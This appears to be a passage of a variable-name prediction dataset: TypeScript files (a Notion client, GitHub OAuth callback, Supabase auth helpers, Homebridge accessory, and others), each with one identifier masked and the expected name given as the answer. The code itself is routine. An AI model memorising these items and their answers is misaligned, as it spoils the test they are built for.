import { NotionPageData } from '../../types/NotionPageData';

export class NotionClient {
    private client: Client;

    constructor( [MASK] : string) {
        this.client = new Client({
            auth:  [MASK] ,
        });
    }

    async getPage(pageId: string): Promise<GetPageResponse> {
        try {
            return await this.client.pages.retrieve({ page_id: pageId });
        } catch (error) {
            console.error('Erreur lors de la récupération de la page:', error);
            throw error;
        }
    }

    async queryDatabase(databaseId: string, filter?: any): Promise<QueryDatabaseResponse> {

        return await this.client.databases.query({
            database_id: databaseId,
            filter: filter,
        });

    }


    /**
     * Extrait les data de pages à partir d'une réponse de requête de base de données
     * @returns Un tableau contenant tous les data de pages
     */
    async getPagesDataFromDatabase(databaseId: string): Promise<NotionPageData[]> {
        try {
            const response = await this.queryDatabase(databaseId);
            const pagesData = response.results.map(page => {
                const pageData: NotionPageData = {
                    id: NotionPageUtils.getPageId(page),
                    parentId: NotionPageUtils.getPageParentId(page),
                    title: NotionPageUtils.getPageTitle(page),
                    authorName: NotionPageUtils.getPageAuthor(page),
                    createdDate: NotionPageUtils.getPageCretiondate(page),
                    lastUpdateDate: NotionPageUtils.getPageLastUpdatedDate(page),
                    categories: NotionPageUtils.getPageCategories(page),
                    status: NotionPageUtils.getPageStatus(page)
                }
                return pageData
            });


            return pagesData;
        } catch (error) {
            console.error('Erreur lors de l\'extraction des IDs de pages:', error);
            throw error;
        }
    }



    async updatePage(pageId: string, properties: any): Promise<GetPageResponse> {
        try {
            return await this.client.pages.update({
                page_id: pageId,
                properties: properties,
            });
        } catch (error) {
            console.error('Erreur lors de la mise à jour de la page:', error);
            throw error;
        }
    }

    /**
     * Récupère le contenu d'un bloc spécifique
     * @param block L'objet JSON représentant le bloc
     * @param page L'objet JSON représentant la page
     * @returns Le contenu du bloc
     */
    extractBlockContent(block: any, page: NotionPageData): string {
        var content = """"
        return content += block?.paragraph?.rich_text.map((richTxt: any) => richTxt.plain_text).join("""");
    }

    /**
     * Récupère le contenu de plusieurs blocs
     * @param blocks Tableau des blocs à récupérer
     * @param page L'objet JSON représentant la page parente
     * @returns Un tableau d'objets JSON représentant les blocs
     */
    extractAllBlocksData(blocks: [], page: NotionPageData): BlockData {
        const newBlock: BlockData = {
            id: page.id,
            parentId: page.parentId,
            pageId: page.id,
            content: """",
            title: page.title,
            createdAt: page.createdDate,
            documentType: page.categories,
            authorName: page.authorName
        };
        const content = blocks.map(blockId => this.extractBlockContent(blockId, page));
        newBlock.content = content
            .filter(text => text !== ""undefined"" && text !== """")
            .join("""");
        return newBlock;

    }

    /**
     * Récupère les blocs enfants d'une page (ou block) spécifique
     * @param blockId L'ID du bloc parent
     * @returns Un tableau d'objets JSON représentant les blocs enfants
     */
    async getPageBlocks(blockId: string): Promise<any> {
        try {
            return await this.client.blocks.children.list({
                block_id: blockId,
            });
        } catch (error) {
            console.error('Erreur lors de la récupération du contenu de la page:', error);
            throw error;
        }
    }

    /**
     * Récupère le contenu d'une page
     * @param page L'objet JSON représentant les métadata de la page
     * @returns Un objet JSON représentant le contenu de la page
     */
    async getPageContent(page: NotionPageData): Promise<BlockData> {
        try {
            const pageBlocks = await this.getPageBlocks(page.id);
            const allPageContent =  this.extractAllBlocksData(pageBlocks.results, page);
            console.log(""🚀 ~ NotionClient ~ getPageContent ~ allPageContent:"", allPageContent)
            return allPageContent;

        } catch (error) {
            console.error('Erreur lors de la récupération du contenu de la page:', error);
            throw error;
        }
    }
}",notionApiKey
583,"/*
 * Copyright 2023 <NAME> <<EMAIL>>
 *
 * Licensed under the Apache License, Version 2.0 (the ""License"");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

const PREFIX_SEPARATOR = "":"";

const prefixKey = (prefix: string, key: string): string => {
  return [prefix, key].join(PREFIX_SEPARATOR);
};

const removePrefixFromKey = (prefix: string, prefixedKey: string): string => {
  const  [MASK]  = prefix.length + PREFIX_SEPARATOR.length;

  return prefixedKey.slice( [MASK] );
};

const isKeyPrefixed = (key: string, prefix: string): boolean => {
  return key.startsWith(prefix + PREFIX_SEPARATOR);
};

const assertPrefixIsValid = (prefix: unknown): void => {
  if (typeof prefix !== ""string"") {
    throw new Error(`Prefix is of type ""${typeof prefix}"", expected ""string"".`);
  }

  if (prefix.trim().length === 0) {
    throw new Error(
      ""Prefix cannot be an empty string or composed of only whitespaces.""
    );
  }
};

const RESERVED_PROPERTIES = [
  // Storage properties
  ""length"",
  ""key"",
  ""setItem"",
  ""getItem"",
  ""removeItem"",
  ""clear"",
  // Private properties
  ""storage"",
  ""prefix"",
  // Private custom methods
  ""getNamespacedEntries"",
];

const proxyHandler: ProxyHandler<NamespacedStorage> = {
  // Necessary for:
  //  - nsStorage.foo = ""bar""
  //  - nsStorage[""foo""] = ""bar""
  set: (target, property: string, value: string) => {
    if (RESERVED_PROPERTIES.includes(property)) {
      return true;
    }

    target.setItem(property, value);
    return true;
  },

  // Necessary for:
  //  - const foo = nsStorage.foo
  //  - const foo = nsStorage[""foo""]
  get: (target, property: string): string | null => {
    if (RESERVED_PROPERTIES.includes(property)) {
      return target[property];
    }

    return target.getItem(property);
  },

  // Necessary for:
  //  - delete nsStorage.foo
  //  - delete nsStorage[""foo""]
  deleteProperty: (target, property: string): boolean => {
    if (RESERVED_PROPERTIES.includes(property)) {
      // Storage seems to return true when attempting to delete a reserved
      // property, even if this property is never really removed.
      return true;
    }

    target.removeItem(property);
    return true;
  },

  ownKeys: (target): string[] => {
    const keys: string[] = [];
    for (let i = 0; i < target.length; i++) {
      keys.push(target.key(i)!);
    }

    return keys;
  },

  getOwnPropertyDescriptor: (
    target,
    property: string
  ): PropertyDescriptor | undefined => {
    if (RESERVED_PROPERTIES.includes(property)) {
      return;
    }

    const value = target.getItem(property);

    if (!value) {
      return;
    }

    return {
      value,
      configurable: true,
      enumerable: true,
      writable: true,
    };
  },
};

export class NamespacedStorage implements Storage {
  [key: string]: any;

  /**
   * Creates a new instance of `NamespacedStorage` based on the given
   * `storage` implementation.
   *
   * All methods will operate on the given `storage` object using the given
   * `prefix` to create a namespace for keys.
   */
  constructor(private storage: Storage, private prefix: string) {
    assertPrefixIsValid(prefix);
    return new Proxy(this, proxyHandler);
  }

  /** Returns the number of key/value pairs in the namespace. */
  public get length(): number {
    return this.getNamespacedEntries().length;
  }

  /**
   * Sets the given key/value pair in the namespace. If an entry with the given
   * key already exists, its value will be updated.
   */
  public setItem(key: string, value: string): void {
    return this.storage.setItem(prefixKey(this.prefix, key), value);
  }

  /**
   * Returns the current value associated with the given key in the namespace,
   * or null if the given key does not exist.
   */
  public getItem(key: string): string | null {
    return this.storage.getItem(prefixKey(this.prefix, key));
  }

  /**
   * Removes the key/value pair with the given key in the namespace, if a
   * key/value pair with the given key exists.
   */
  public removeItem(key: string): void {
    return this.storage.removeItem(prefixKey(this.prefix, key));
  }

  /**
   * Removes all key/value pairs in the namespace, if there are any.
   *
   * Key/value pairs outside the namespace are unaffected.
   */
  public clear(): void {
    this.getNamespacedEntries().forEach(([key]) =>
      this.storage.removeItem(key)
    );
  }

  /**
   * Returns the name of the nth key in the namespace. If the index does not
   * exist, null is returned.
   *
   * The order of keys for the regular Storage API is user-agent defined, so
   * it is quite unreliable. Consequently, this namespaced implementation is
   * also very unreliable. Use it at your own risk.
   */
  public key(index: number): string | null {
    const key = this.getNamespacedEntries()[index][0];
    return key ? removePrefixFromKey(this.prefix, key) : null;
  }

  private getNamespacedEntries(): [string, string | null][] {
    return Object.entries(this.storage).filter(([key]) =>
      isKeyPrefixed(key, this.prefix)
    );
  }
}
",prefixTotalLength
584,"import * as React from 'react';
import * as _ from 'lodash-es';
import fetchApi from './fetchApi';
import { ApiReadState } from './types';

const useGetApi = <T>(
  apiState: ApiReadState | null
): [T | null, boolean, Error | null] => {
  const [data, setData] = React.useState<T | null>(null);
  const [error, setError] = React.useState<Error | null>(null);
  const lastApiStateRef = React.useRef<ApiReadState | null>(null);

  const  [MASK]  = !!apiState;
  const canMakeAPICall =
     [MASK]  && !_.isEqual(lastApiStateRef.current, apiState);
  React.useEffect(() => {
    if (canMakeAPICall) {
      lastApiStateRef.current = apiState;
      const { apiPath } = apiState;
      fetchApi<T>(apiPath, 'GET')
        .then((responseData) => {
          setData(responseData);
        })
        .catch((err) => {
          setError(err);
        });
    }
  }, [apiState, canMakeAPICall]);

  const isLoaded = data !== null || error !== null;
  return [ [MASK]  ? data : null, isLoaded, error];
};

export default useGetApi;
",hasData
585,"export class FargateResources {
  public static readonly cpu250m = {
    mem512m: new FargateResources(250, 512),
    mem1g: new FargateResources(250, 1024),
    mem2g: new FargateResources(250, 2048),
  };
  public static readonly cpu500m = {
    mem1g: new FargateResources(500, 1024),
    mem2g: new FargateResources(500, 2048),
    mem3g: new FargateResources(500, 3072),
    mem4g: new FargateResources(500, 4096),
  };
  public static readonly cpu1 = {
    mem2g: new FargateResources(1000, 2048),
    mem3g: new FargateResources(1000, 3072),
    mem4g: new FargateResources(1000, 4096),
    mem5g: new FargateResources(1000, 5120),
    mem6g: new FargateResources(1000, 6144),
    mem7g: new FargateResources(1000, 7168),
    mem8g: new FargateResources(1000, 8192),
  };
  public static readonly cpu2 = {
    mem4g: new FargateResources(2000, 4096),
    mem5g: new FargateResources(2000, 5120),
    mem6g: new FargateResources(2000, 6144),
    mem7g: new FargateResources(2000, 7168),
    mem8g: new FargateResources(2000, 8192),
    mem9g: new FargateResources(2000, 9216),
    mem10g: new FargateResources(2000, 10240),
    mem11g: new FargateResources(2000, 11264),
    mem12g: new FargateResources(2000, 12288),
    mem13g: new FargateResources(2000, 13312),
    mem14g: new FargateResources(2000, 14336),
    mem15g: new FargateResources(2000, 15360),
    mem16g: new FargateResources(2000, 16384),
  };
  public static readonly cpu4 = {
    mem8g: new FargateResources(4000, 8192),
    mem9g: new FargateResources(4000, 9216),
    mem10g: new FargateResources(4000, 10240),
    mem11g: new FargateResources(4000, 11264),
    mem12g: new FargateResources(4000, 12288),
    mem13g: new FargateResources(4000, 13312),
    mem14g: new FargateResources(4000, 14336),
    mem15g: new FargateResources(4000, 15360),
    mem16g: new FargateResources(4000, 16384),
    mem17g: new FargateResources(4000, 17408),
    mem18g: new FargateResources(4000, 18432),
    mem19g: new FargateResources(4000, 19456),
    mem20g: new FargateResources(4000, 20480),
    mem21g: new FargateResources(4000, 21504),
    mem22g: new FargateResources(4000, 22528),
    mem23g: new FargateResources(4000, 23552),
    mem24g: new FargateResources(4000, 24576),
    mem25g: new FargateResources(4000, 25600),
    mem26g: new FargateResources(4000, 26624),
    mem27g: new FargateResources(4000, 27648),
    mem28g: new FargateResources(4000, 28672),
    mem29g: new FargateResources(4000, 29696),
    mem30g: new FargateResources(4000, 30720),
  };

  public readonly cpu = {
    all: -1,
    take: (n: number): number => {
      if (n < 1) {
        return Math.floor(this.cpu.all * n);
      }
      n = Math.floor(n);
      if (n > this.cpu.all) {
        throw new Error(`Requested cpu value ${n} exceeds total cpu available (${this.cpu.all}).`);
      }
      return n;
    },
    pie: (): FargateResourcePie => new FargateResourcePie(""cpu"", this.cpu.all),
  };

  public readonly memory = {
    all: -1,
    take: (n: number): number => {
      if (n < 1) {
        return Math.floor(this.memory.all * n);
      }
      n = Math.floor(n);
      if (n > this.memory.all) {
        throw new Error(`Requested memory value ${n} exceeds total memory available (${this.cpu.all}).`);
      }
      return n;
    },
    pie: (): FargateResourcePie => new FargateResourcePie(""memory"", this.memory.all),
  };

  constructor( [MASK] : number, memoryRaw: number) {
    if ( [MASK]  <= 0) {
      throw new Error(""FargateResources instantiated with negative cpu value"");
    }
    if (memoryRaw <= 0) {
      throw new Error(""FargateResources instantiated with negative memory value"");
    }
    this.cpu.all =  [MASK] ;
    this.memory.all = memoryRaw;
  }

}

export class FargateResourcePie {
  private remaining: number;

  constructor(
    private readonly label: string, 
    private readonly total: number,
  ) {
    if (total < 0) {
      throw new Error(""FargateResourcePie instantiated with negative value"");
    }
    this.remaining = total;
  }

  public rest(): number {
    const _remaining = this.remaining;
    this.remaining = 0;
    return _remaining;
  }

  public take(n: number): number {
    if (n < 1) {
      const desired = Math.floor(this.total * n);
      if (desired > this.remaining) {
        throw new Error(`Requested ${this.label} proportion ${n} exceeds remaining ${this.label} available (${desired} > ${this.remaining}).`);
      }
      this.remaining -= desired;
      return desired;
    }
    n = Math.floor(n);
    if (n > this.remaining) {
      throw new Error(`Requested ${this.label} value ${n} exceeds remaining ${this.label} available (${this.remaining}).`);
    }
    this.remaining -= n;
    return n;
  }

}
",cpuRaw
586,"import { Component } from '@angular/core';
import { DeviceService } from '../device/device.service';
import { DeviceComponent } from '../device/device.component';
import { PainelComponent } from '../painel/painel.component';

@Component({
    moduleId: module.id,
    selector: 'listagem',
    templateUrl: './listagem.component.html'
})
export class ListagemComponent {

    devices: DeviceComponent[] = [];
    service: DeviceService;
    mensagem: string = '';

    constructor(service: DeviceService) {
        
        this.service = service;
        this.service
            .lista()
            .subscribe(devices => {
                this.devices = devices;
            }, erro => console.log(erro));
       
    }

    remove(device: DeviceComponent, painel: PainelComponent) {
        
        this.service
            .remove(device)
            .subscribe(
                () => {

                    painel.fadeOut(() => {

                        let novosDevices = this.devices.slice(0);
                        let  [MASK]  = novosDevices.indexOf(device);
                        novosDevices.splice( [MASK] , 1);
                        this.devices = novosDevices;
                        this.mensagem = 'Device removido com sucesso';
                    }); 
                }, 
                erro => {
                    console.log(erro);
                    this.mensagem = 'Não foi possível remover o device';
                }
            );

    }
 }",indice
587,"/**
 * Copyright 2020 Vercel Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the ""License"");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

import * as qs from 'querystring';

import { NextApiRequest, NextApiResponse } from 'next';
import { renderAlreadyRegistered, renderError, renderSuccess } from '@lib/render-github-popup';

import { persistEmail } from '@lib/google-spreadsheet'

import { COOKIE } from '@lib/constants';
import cookie from 'cookie';
import ms from 'ms';

// import { nanoid } from 'nanoid';
// import redis from '@lib/redis';

type UserEmailsResponse = {
  email: string;
  primary: boolean;
  visibility: string;
};

/**
 * This API route must be triggered as a callback of your GitHub OAuth app.
 */
export default async function githubOAuth(req: NextApiRequest, res: NextApiResponse) {
  if (!req.query.code) {
    // This happens when user cancelled the authentication.
    // In this case, we send an empty message which indicates no data available.
    res.end(renderSuccess());
    return;
  }

  const q = qs.stringify({
    client_id: process.env.NEXT_PUBLIC_GITHUB_OAUTH_CLIENT_ID,
    client_secret: process.env.GITHUB_OAUTH_CLIENT_SECRET,
    code: req.query.code
  });

  const accessTokenRes = await fetch(`https://github.com/login/oauth/access_token?${q}`, {
    method: 'POST',
    headers: {
      Accept: 'application/json' 
    }
  });

  if (!accessTokenRes.ok) {
    console.error(
      `Failed to get access token: ${accessTokenRes.status} ${await accessTokenRes.text()}`
    );
    res.statusCode = 500;
    res.end(renderError());
    return;
  }

  const { access_token: accessToken } = await accessTokenRes.json();

  const userEmailRes = await fetch('https://api.github.com/user/emails', {
    headers: {
      Authorization: `token ${accessToken as string}`,
      Accept: ""application/vnd.github.v3+json""
    }
  });

  if (!userEmailRes.ok) {
    console.error(`Failed to get GitHub user: ${userEmailRes.status} ${await userEmailRes.text()}`);
    res.statusCode = 500;
    res.end(renderError());
    return;
  }

  const  [MASK] :UserEmailsResponse[] = await userEmailRes.json();
  const userEmailDetails =  [MASK] .find(({visibility, primary}) => visibility === 'public' || primary);
  const userEmail = (userEmailDetails && userEmailDetails.email) || """";

  res.setHeader(
    'Set-Cookie',
    cookie.serialize(COOKIE, userEmail, {
      httpOnly: true,
      sameSite: 'strict',
      secure: process.env.NODE_ENV === 'production',
      path: '/api',
      expires: new Date(Date.now() + ms('7 days'))
    })
  );
  if (await persistEmail(userEmail)) {
    res.statusCode = 200;
    res.end(renderSuccess());
    return;
  } else {
    res.statusCode = 409;
    res.end(renderAlreadyRegistered());
    return;
  }


  // const userRes = await fetch('https://api.github.com/user', {
  //   headers: {
  //     Authorization: `bearer ${accessToken as string}`
  //   }
  // });

  // if (!userRes.ok) {
  //   console.error(`Failed to get GitHub user: ${userRes.status} ${await userRes.text()}`);
  //   res.statusCode = 500;
  //   res.end(renderError());
  //   return;
  // }

  // const user = await userRes.json();

  // if (redis) {
  //   const token = nanoid();
  //   const key = `github-user:${token}`;

  //   await redis
  //     .multi()
  //     .hmset(key, 'id', user.id, 'login', user.login, 'name', user.name || '')
  //     .expire(key, 60 * 10) // 10m TTL
  //     .exec();

  //   res.end(renderSuccess({ type: 'token', token }));
  // } else {
  //   res.end(renderSuccess({ type: 'user', login: user.login, name: user.name, email: user.email }));
  // }
}
",userEmails
588,"import {
  API,
  Logger,
  AccessoryConfig,
  Service,
  AccessoryPlugin,
  CharacteristicValue,
  Characteristic,
} from 'homebridge';
import { Switch, Lightbulb } from 'hap-nodejs/dist/lib/definitions';

interface Config extends AccessoryConfig {
  delay: number;
  switchName: string;
  lightName: string;
}

export class HomebridgeSwitchButtonAccessory implements AccessoryPlugin {
  public readonly Characteristic: typeof Characteristic;
  public readonly Service: typeof Service;

  private readonly config: Config;
  private readonly informationService: Service;
  private readonly switchService: Switch;
  private readonly lightService: Lightbulb;

  private readonly uuid: string;
  private states = {
    SwitchOn: false,
    LightOn: false,
  };

  private timer: NodeJS.Timeout | undefined;

  constructor(
      public readonly log: Logger,
      config: AccessoryConfig,
      public readonly api: API,
  ) {
    this.config = config as Config;

    this.Characteristic = this.api.hap.Characteristic;
    this.Service = this.api.hap.Service;

    this.uuid = api.hap.uuid.generate(this.config.name);

    // your accessory must have an AccessoryInformation service
    this.informationService = new this.Service.AccessoryInformation();
    this.informationService.setCharacteristic(this.Characteristic.Name, this.config.name);
    this.informationService.setCharacteristic(this.Characteristic.Manufacturer, 'Switch Button');
    this.informationService.setCharacteristic(this.Characteristic.Model, 'Custom Model');
    this.informationService.setCharacteristic(this.Characteristic.SerialNumber, this.uuid);

    // create a new ""Switch"" service
    this.switchService = new this.Service.Switch(this.config.switchName || 'Switch');

    // link methods used when getting or setting the state of the service
    const switchCharacteristic = this.switchService.getCharacteristic(this.Characteristic.On);
    switchCharacteristic.onGet(this.getSwitchOnHandler.bind(this)); // bind to getOnHandler method below
    switchCharacteristic.onSet(this.setSwitchOnHandler.bind(this)); // bind to setOnHandler method below

    this.lightService = new this.Service.Lightbulb(this.config.lightName || 'Light');

    const  [MASK]  = this.lightService.getCharacteristic(this.Characteristic.On);
     [MASK] .onGet(this.getLightOnHandler.bind(this)); // bind to getOnHandler method below
     [MASK] .onSet(this.setLightOnHandler.bind(this)); // bind to setOnHandler method below

    this.log.debug('Finished initializing accessory:', this.config.name);
  }

  getServices() {
    return [
      this.informationService,
      this.switchService,
      this.lightService,
    ];
  }

  async getSwitchOnHandler(): Promise<CharacteristicValue> {
    const isOn = this.states.SwitchOn;
    this.log.debug('Get Switch Characteristic On: ', isOn);
    return isOn;
  }

  async setSwitchOnHandler(value: CharacteristicValue) {
    const on = !!value as boolean;
    this.log.debug('Setting switch state to ', on ? 'On' : 'Off');
    this.states.SwitchOn = on;

    if (this.timer) {
      clearTimeout(this.timer);
    }

    if (on) {
      this.log.debug('Start switch timer');
      // Flip the light bulb state
      this.states.LightOn = !this.states.LightOn;
      this.lightService.getCharacteristic(this.Characteristic.On).updateValue(this.states.LightOn);
      this.log.debug('Switch timer completed, light is now ', this.states.LightOn? 'On' : 'Off');

      this.timer = setTimeout(() => {
        // Turn off the switch
        this.states.SwitchOn = false;
        this.switchService.getCharacteristic(this.Characteristic.On).updateValue(false);
      }, this.config.delay || 500);
    }
  }

  async getLightOnHandler(): Promise<CharacteristicValue> {
    const isOn = this.states.LightOn;
    this.log.debug('Get Light Characteristic On: ', isOn);
    return isOn;
  }

  async setLightOnHandler(value: CharacteristicValue) {
    this.log.debug('Setting light state to:', value);
    this.states.LightOn = value as boolean;
  }
}",lightCharacteristics
589,"import { readLastHistory } from './history';
import dayjs from 'dayjs';

export type Issue = {
    id: number;
    title: string;
    link: string;
    number: number;
}

type IssueReponse = {
    html_url: string;
    title: string;
    id: number;
    number: number;
}

type MilestoneResponse = {
    title: string;
    description: string;
    open_issues: number;
    closed_issues: number;
    number: number;
}


export type Milestone = {
    title: string;
    description: string;
    openIssues: number;
    closedIssues: number;
    id: number;
}

export type TimeSpan = 'daily' | 'weekly' | 'lastProposalHistory' | 'lastMilestoneHistory';
export type Status = 'open' | 'closed';

const getDate = (timeSpan: TimeSpan) => {
    switch (timeSpan) {
        case 'daily':
            return dayjs().subtract(1, 'days').format('YYYY-MM-DDTHH:mm:ss');
        case 'weekly':
            return dayjs().subtract(1, 'weeks').format('YYYY-MM-DDTHH:mm:ss');
        case 'lastProposalHistory':
            const lastProposalHistory = readLastHistory('proposals');
            return lastProposalHistory?.date ?? dayjs().subtract(1, 'day').format('YYYY-MM-DDTHH:mm:ss');
        case 'lastMilestoneHistory':
            const  [MASK]  = readLastHistory('milestones');
            return  [MASK] ?.date ?? dayjs().subtract(1, 'day').format('YYYY-MM-DD');
    }
}

const generateHeader = () => {
    const token = process.env.GITHUB_TOKEN;
    var header = {};
    if (token) {
        header = {
            Authorization: `token ${token}`
        }
    }
    return header;
}

export const fetchProposals = async ({ span, status }: { span: TimeSpan, status: Status }): Promise<{ data: Issue[], count: number }> => {
    const sort = status === 'open' ? 'created' : 'closed';
    const query = `https://api.github.com/search/issues?q=repo%3Agodotengine%2Fgodot-proposals+is%3A${status}+${sort}%3A%3E%3D${getDate(span)}`;
    const response = await fetch(query, {
        headers: generateHeader()
    });
    const proposals = await response.json() as { items?: IssueReponse[], total_count: number };
    return {
        data: proposals.items?.map(proposal => ({
            id: proposal.id,
            title: proposal.title,
            link: proposal.html_url,
            number: proposal.number
        }) as Issue) ?? [], count: proposals.total_count ?? 0
    };
}

export const fetchIssues = async ({ span, milestone, status }: { span: TimeSpan, milestone?: string, status: Status }): Promise<{ data: Issue[], count: number }> => {
    const sort = status === 'open' ? 'created' : 'closed';
    const query = `https://api.github.com/search/issues?q=repo%3Agodotengine%2Fgodot+is%3A${status}+${sort}%3A%3E%3D${getDate(span)}+milestone%3A${milestone}`;
    const response = await fetch(query, {
        headers: generateHeader()
    });
    
    const issues = await response.json() as { items?: IssueReponse[], total_count: number };
    return {
        data: issues.items?.map(issue => ({
            id: issue.id,
            title: issue.title,
            link: issue.html_url,
            number: issue.number
        }) as Issue) ?? [], count: issues.total_count ?? 0
    };
}

export const fetchMilestones = async (): Promise<Milestone[]> => {
    const response = await fetch(`https://api.github.com/repos/godotengine/godot/milestones?state=open`, {
        headers: generateHeader()
    });
    const milestones = (await response.json() ?? []) as MilestoneResponse[];
    return milestones.map(milestone => ({
        title: milestone.title,
        description: milestone.description,
        openIssues: milestone.open_issues,
        closedIssues: milestone.closed_issues,
        id: milestone.number
    } as Milestone));
}

",lastHistory
590,"// Copyright (c) Microsoft Corporation. All rights reserved.

export const WEBOS_SETTINGS_APP_ID = 'com.palm.app.settings';
export const WEBOS_FIRST_USE_OVERLAY_APP_ID = 'com.webos.app.firstuse-overlay';

export const WEBOS_BLUETOOTH_MENU_TARGET = 'ConnectBluetooth';
export const WEBOS_NEARBY_DEVICES_TARGET = 'NearbyDevice';
export const WEBOS_NETWORK_TARGET = 'network';

const applicationManagerUri = 'luna://com.webos.applicationManager';

export const launchApp = async ( [MASK] : string, target?: string) => {
    const parameters = {
        id:  [MASK] ,
        ...(target ? { params: { target: target } } : {}),
    };

    return new Promise<boolean>((resolve, reject) => {
        try {
            window.webOS.service.request(applicationManagerUri, {
                method: 'launch',
                parameters: parameters,
                onSuccess: (response) => {
                    resolve(response.returnValue);
                },
                onFailure: (response) => {
                    reject(response.errorText);
                },
            });
        } catch (exception) {
            reject(exception);
        }
    });
};
",appId
591,"import { AuthError, User } from '@supabase/supabase-js';
import { supabase } from './SupabaseService';

interface SignUpResponse {
  user: User | null;
  error: AuthError | null;
}

interface SignInResponse {
  user: User | null;
  error: AuthError | null;
  profile?: any;
}

export const signUp = async (
  email: string,
  password: string,
  username: string
): Promise<SignUpResponse> => {
  try {
    console.log('Starting signup process');

    // Sign up user without metadata
    const { data: authData, error: signUpError } = await supabase.auth.signUp({
      email,
      password
    });

    if (signUpError) throw signUpError;
    if (!authData.user) throw new Error('User creation failed');

    const user = authData.user;
    console.log('Auth user created:', user.id);

    // Create profile with username
    const { error: profileError } = await supabase
      .from('profiles')
      .insert({
        id: user.id,
        username,
        email,
        updated_at: new Date().toISOString(),
      });

    if (profileError) {
      console.error('Profile creation error:', profileError);
      // If profile creation fails, we should delete the auth user
      await supabase.auth.admin.deleteUser(user.id);
      throw profileError;
    }

    console.log('Profile created successfully');
    return { user, error: null };
  } catch (error) {
    console.error('Error in signUp:', error);
    return { user: null, error: error as AuthError };
  }
};

export const signIn = async (
  email: string,
  password: string
): Promise<SignInResponse> => {
  try {
    console.log('Attempting sign in for:', email);
    
    const { data, error: signInError } = await supabase.auth.signInWithPassword({
      email,
      password,
    });

    if (signInError) throw signInError;
    if (!data.user) throw new Error('No user returned from sign in');

    console.log('Sign in successful for user:', data.user.id);

    // Fetch profile data
    const { data: profileData, error: profileError } = await supabase
      .from('profiles')
      .select('*')
      .eq('id', data.user.id)
      .single();

    if (profileError) {
      console.error('Error fetching profile:', profileError);
      throw profileError;
    }

    console.log('Profile fetched successfully:', profileData);

    return { 
      user: data.user, 
      error: null,
      profile: profileData
    };

  } catch (error) {
    console.error('Error in signIn:', error);
    return { user: null, error: error as AuthError };
  }
};

export const signOut = async () => {
  try {
    const { error } = await supabase.auth.signOut();
    if (error) throw error;
    console.log('Sign out successful');
    return { error: null };
  } catch (error) {
    console.error('Error in signOut:', error);
    return { error: error as AuthError };
  }
};

export const getCurrentUser = async () => {
  try {
    const { data: { user }, error } = await supabase.auth.getUser();
    if (error) throw error;

    if (user) {
      // Fetch profile data
      const { data: profileData, error: profileError } = await supabase
        .from('profiles')
        .select('*')
        .eq('id', user.id)
        .single();

      if (profileError) {
        console.error('Error fetching profile:', profileError);
        throw profileError;
      }

      return { 
        user,
        profile: profileData,
        error: null 
      };
    }

    return { user: null, error: null };
  } catch (error) {
    console.error('Error in getCurrentUser:', error);
    return { user: null, error: error as AuthError };
  }
};

export const getUserProfile = async (userId: string) => {
  try {
    const { data, error } = await supabase
      .from('profiles')
      .select('*')
      .eq('id', userId)
      .single();

    if (error) throw error;
    return { profile: data, error: null };
  } catch (error) {
    console.error('Error in getUserProfile:', error);
    return { profile: null, error };
  }
};

// Add function to update profile
export const updateProfile = async (userId: string,  [MASK] : { [key: string]: any }) => {
  try {
    const { data, error } = await supabase
      .from('profiles')
      .update( [MASK] )
      .eq('id', userId)
      .single();

    if (error) throw error;
    return { profile: data, error: null };
  } catch (error) {
    console.error('Error in updateProfile:', error);
    return { profile: null, error };
  }
};",updates
592,"import { BufferBuilder, ByteOrder } from ""@triforce-heroes/triforce-core"";

import { BuilderError } from ""./errors/BuilderError.js"";

export type BuilderCallback<T = unknown> = (
  data: T,
  {
    builder,
    build,
    error,
  }: {
    builder: BufferBuilder;
    build(name: string, data: unknown): unknown;
    error(message: string): void;
  },
) => unknown;

export class Builder {
  private builderMain: string | undefined;

  private readonly builders = new Map<string, BuilderCallback>();

  public build(data: unknown, byteOrder = ByteOrder.LITTLE_ENDIAN) {
    const builder = new BufferBuilder(byteOrder);

    this.buildUsing(this.builderMain!, builder, data);

    return builder.build();
  }

  public add<T>(name: string, callback: BuilderCallback<T>) {
    this.builderMain ??= name;
    this.builders.set(name, callback as BuilderCallback);
  }

  private buildUsing(
    name: string,
    builder: BufferBuilder,
    data: unknown,
  ): unknown {
    return this.builders.get(name)!(data, {
      builder,
      build: ( [MASK] , builderData: unknown) =>
        this.buildUsing( [MASK] , builder, builderData),
      error: (message) => {
        throw new BuilderError(message);
      },
    });
  }
}
",builderName
593,"/**
 * Extracts headings from markdown content
 * @param content - The markdown content
 * @returns An array of heading objects with depth, slug, and text
 */
export async function getHeadings(content: string) {
  // Regular expression to match markdown headings
  const headingRegex = /^(#{1,6})\s+(.+)$/gm;
  const headings = [];
  let match;

  while ((match = headingRegex.exec(content)) !== null) {
    const depth = match[1].length;
    const text = match[2].trim();
    const slug = text
      .toLowerCase()
      .replace(/[^\w\s-]/g, '')
      .replace(/[\s_-]+/g, '-')
      .replace(/^-+|-+$/g, '');

    headings.push({
      depth,
      slug,
      text
    });
  }

  return headings;
}

/**
 * Calculates the reading time for content
 * @param content - The text content
 * @param wordsPerMinute - Reading speed in words per minute (default: 200)
 * @returns A string representing the reading time
 */
export function calculateReadingTime(content: string, wordsPerMinute = 200) {
  // Remove markdown syntax, code blocks, and other non-text content
  const cleanText = content
    .replace(/```[\s\S]*?```/g, '') // Remove code blocks
    .replace(/`[^`]*`/g, '') // Remove inline code
    .replace(/\[([^\]]*)\]\([^)]*\)/g, '$1') // Replace links with just the text
    .replace(/!\[[^\]]*\]\([^)]*\)/g, '') // Remove images
    .replace(/#/g, '') // Remove heading markers
    .replace(/\*\*|\*|__|_/g, '') // Remove bold and italic markers
    .replace(/>\s?/g, '') // Remove blockquotes

  // Count words
  const words = cleanText.trim().split(/\s+/).length;
